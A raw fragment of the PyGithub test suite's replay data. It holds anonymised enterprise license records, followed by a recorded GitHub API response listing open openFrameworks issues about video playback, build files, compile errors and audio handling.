collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user015","github_com_name":"beaver-user015","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user015","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user016","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user016","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user016@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user017","github_com_name":"beaver-user017","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user017","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user018","github_com_name":"beaver-user018","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user018","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user019","github_com_name":"beaver-user019","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user019","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user020","github_com_name":"beaver-user020","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user020","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user020@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user021","github_com_name":"beaver-user021","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user021","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user022","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user022","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user022@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user023","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user023","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user024","github_com_name":"beaver-user024","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user024","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user025","github_com_name":"beaver-user025","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user025","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user026","github_com_name":"beaver-user026","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user026","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user027","github_com_name":"beaver-user027","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user027","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user027@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user028","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user028","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user029","github_com_name":"beaver-user029","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user029","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user029@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user030","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user030","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testCustomPerPage.txt0000644000175100001660000536056414756101563025107 0ustar00runnerdockerhttps GET api.github.com None /repos/openframeworks/openFrameworks/issues?per_page=100 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4964'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '329982'), ('server', 'GitHub.com'), ('last-modified', 'Mon, 11 Mar 2013 10:11:56 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"9d1c9cd0db105699c994ba8b16296c1b"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Mar 2013 10:12:43 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1928","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1928/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1928/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1928/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1928","id":11868429,"number":1928,"title":"ofVideoplayer getPosition getFrame","user":{"login":"robotfunk","id":1648376,"avatar_url":"https://secure.gravatar.com/avatar/5b24e2e8331f589c2b855ebbb407d82e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5b24e2e8331f589c2b855ebbb407d82e","url":"https://api.github.com/users/robotfunk","html_url":"https://github.com/robotfunk","followers_url":"https://api.github.com/users/robotfunk/followers","following_url":"https://api.github.com/users/robotfunk/following","gists_url":"https://api.github.com/users/robotfunk/gists{/gist_id}","starred_url":"https://api.github.com/users/robotfunk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/robotfunk/subscriptions","organizations_url":"https://api.github.com/users/robotfunk/orgs","repos_url":"https://api.github.com/users/robotfunk/repos","events_url":"https://api.github.com/users/robotfunk/events{/privacy}","received_events_url":"https://api.github.com/users/robotfunk/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-03-11T09:08:35Z","updated_at":"2013-03-11T09:08:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm developing an app that syncs videos to an incoming timecode, and it appears that getPosition and getFrame returns the position where the video should be rather than where it actually is. As soon as you seek to a percentage or frame that frame is returned, regardless of the frame that is actually being displayed. \r\n\r\nThis happens with the built-in ofVideoPlayer and the QTKit based one.\r\nOSX, 0073"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1925","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1925/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1925/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1925/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1925","id":11844686,"number":1925,"title":"Fix for osx makefiles.","user":{"login":"bakercp","id":300484,"avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-03-09T21:49:42Z","updated_at":"2013-03-09T23:38:22Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1925","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1925.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1925.patch"},"body":"Added the exports/osx folder."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1924","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1924/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1924/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1924/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1924","id":11842835,"number":1924,"title":"Windows 8 fails to compile the core with ofParameter","user":{"login":"danthemellowman","id":719564,"avatar_url":"https://secure.gravatar.com/avatar/79621943dfc6272eae9697464ad33696?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"79621943dfc6272eae9697464ad33696","url":"https://api.github.com/users/danthemellowman","html_url":"https://github.com/danthemellowman","followers_url":"https://api.github.com/users/danthemellowman/followers","following_url":"https://api.github.com/users/danthemellowman/following","gists_url":"https://api.github.com/users/danthemellowman/gists{/gist_id}","starred_url":"https://api.github.com/users/danthemellowman/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danthemellowman/subscriptions","organizations_url":"https://api.github.com/users/danthemellowman/orgs","repos_url":"https://api.github.com/users/danthemellowman/repos","events_url":"https://api.github.com/users/danthemellowman/events{/privacy}","received_events_url":"https://api.github.com/users/danthemellowman/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","name":"critical","color":"ff0000"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":2,"created_at":"2013-03-09T19:28:58Z","updated_at":"2013-03-11T06:46:40Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm building using VS2010 and using the most current develop branch I see the attached gist when trying to compile any application. @arturoc any thoughts? \r\n\r\nhttps://gist.github.com/danthemellowman/5125331"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1923","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1923/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1923/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1923/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1923","id":11842450,"number":1923,"title":"Fixed sound not restarting after an interupttion (phone call or alarm clock)","user":{"login":"cerupcat","id":204151,"avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","url":"https://api.github.com/users/cerupcat","html_url":"https://github.com/cerupcat","followers_url":"https://api.github.com/users/cerupcat/followers","following_url":"https://api.github.com/users/cerupcat/following","gists_url":"https://api.github.com/users/cerupcat/gists{/gist_id}","starred_url":"https://api.github.com/users/cerupcat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cerupcat/subscriptions","organizations_url":"https://api.github.com/users/cerupcat/orgs","repos_url":"https://api.github.com/users/cerupcat/repos","events_url":"https://api.github.com/users/cerupcat/events{/privacy}","received_events_url":"https://api.github.com/users/cerupcat/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":6,"created_at":"2013-03-09T19:00:32Z","updated_at":"2013-03-09T23:13:41Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1923","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1923.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1923.patch"},"body":"Made the audioUnit static so it's more accessible and fixed audio not restarting after an iOS interruption.\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1922","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1922/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1922/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1922/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1922","id":11841064,"number":1922,"title":"Add ofThreadErrorHandler, support in ofThread and updated thread Example.","user":{"login":"bakercp","id":300484,"avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":6,"created_at":"2013-03-09T17:08:19Z","updated_at":"2013-03-10T11:19:44Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1922","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1922.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1922.patch"},"body":"Addresses issue #1813 \r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1919","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1919/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1919/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1919/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1919","id":11794846,"number":1919,"title":"please add ofGetGlutWindowID() ","user":{"login":"yty","id":841770,"avatar_url":"https://secure.gravatar.com/avatar/a8010f501bbf6646afd69a8c3afc773a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"a8010f501bbf6646afd69a8c3afc773a","url":"https://api.github.com/users/yty","html_url":"https://github.com/yty","followers_url":"https://api.github.com/users/yty/followers","following_url":"https://api.github.com/users/yty/following","gists_url":"https://api.github.com/users/yty/gists{/gist_id}","starred_url":"https://api.github.com/users/yty/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yty/subscriptions","organizations_url":"https://api.github.com/users/yty/orgs","repos_url":"https://api.github.com/users/yty/repos","events_url":"https://api.github.com/users/yty/events{/privacy}","received_events_url":"https://api.github.com/users/yty/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-03-08T07:38:58Z","updated_at":"2013-03-08T07:39:39Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofAppGlutWindow.cpp\r\n/////////////////////////////////////////////\r\nvoid ofAppGlutWindow::setupOpenGL(int w, int h, int screenMode){\r\n if (windowMode != OF_GAME_MODE){\r\n\t\tglutInitWindowSize(w, h);\r\n\t\twindowId = glutCreateWindow(\"\"); \r\n }\r\n}\r\n\r\nint ofAppGlutWindow::getGlutWindowID(){\r\n\treturn windowId;\r\n}\r\n\r\nofAppRunner.cpp\r\n////////////////////////////////////////////\r\n\r\nint ofGetGlutWindowID(){\r\n\treturn window->getGlutWindowID();\r\n}\r\n\r\nofAppBaseWindow.h\r\n///////////////////////////////////////\r\nvirtual int getGlutWindowID(){}\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1917","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1917/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1917/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1917/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1917","id":11758613,"number":1917,"title":"ofxOpenCv Install.xml vs2010 settings out of date","user":{"login":"SoylentGraham","id":2184197,"avatar_url":"https://secure.gravatar.com/avatar/9c4381dbaf7664c1fd5b198e807bfa16?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9c4381dbaf7664c1fd5b198e807bfa16","url":"https://api.github.com/users/SoylentGraham","html_url":"https://github.com/SoylentGraham","followers_url":"https://api.github.com/users/SoylentGraham/followers","following_url":"https://api.github.com/users/SoylentGraham/following","gists_url":"https://api.github.com/users/SoylentGraham/gists{/gist_id}","starred_url":"https://api.github.com/users/SoylentGraham/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SoylentGraham/subscriptions","organizations_url":"https://api.github.com/users/SoylentGraham/orgs","repos_url":"https://api.github.com/users/SoylentGraham/repos","events_url":"https://api.github.com/users/SoylentGraham/events{/privacy}","received_events_url":"https://api.github.com/users/SoylentGraham/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":1,"created_at":"2013-03-07T13:09:43Z","updated_at":"2013-03-08T08:32:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I've just been adding ofxOpenCv to my (windows) project, and refered to the install.xml as a guide to what I need to include & link to. Includes are fine, but the lib references are out of date....\r\nhttps://github.com/openframeworks/openFrameworks/blob/develop/addons/ofxOpenCv/install.xml\r\n\r\n```xml\r\n../../../addons/ofxOpenCv/libs/opencv/lib/win32/cv110.lib\r\n../../../addons/ofxOpenCv/libs/opencv/lib/win32/cxcore110.lib\r\n```\r\n\r\nnow needs to reference \r\n../../../addons/ofxOpenCv/libs/opencv/lib/vs2010/opencv_core231d.lib\r\nand another 10 or so libs. (both debug and release)\r\n\r\nI went to fix the install.xml, but realised I can't find any info on how to specify different cases for debug and release configurations, and couldn't find a schema for the install.xml files... Can anyone point me in the right direction? (Or just fix the xml?)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1916","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1916/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1916/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1916/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1916","id":11730674,"number":1916,"title":"ofQTKitPlayer deadlock on delete","user":{"login":"kronick","id":186834,"avatar_url":"https://secure.gravatar.com/avatar/abd0ffdcfe5fea1b2319e61ded9452f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"abd0ffdcfe5fea1b2319e61ded9452f0","url":"https://api.github.com/users/kronick","html_url":"https://github.com/kronick","followers_url":"https://api.github.com/users/kronick/followers","following_url":"https://api.github.com/users/kronick/following","gists_url":"https://api.github.com/users/kronick/gists{/gist_id}","starred_url":"https://api.github.com/users/kronick/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kronick/subscriptions","organizations_url":"https://api.github.com/users/kronick/orgs","repos_url":"https://api.github.com/users/kronick/repos","events_url":"https://api.github.com/users/kronick/events{/privacy}","received_events_url":"https://api.github.com/users/kronick/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":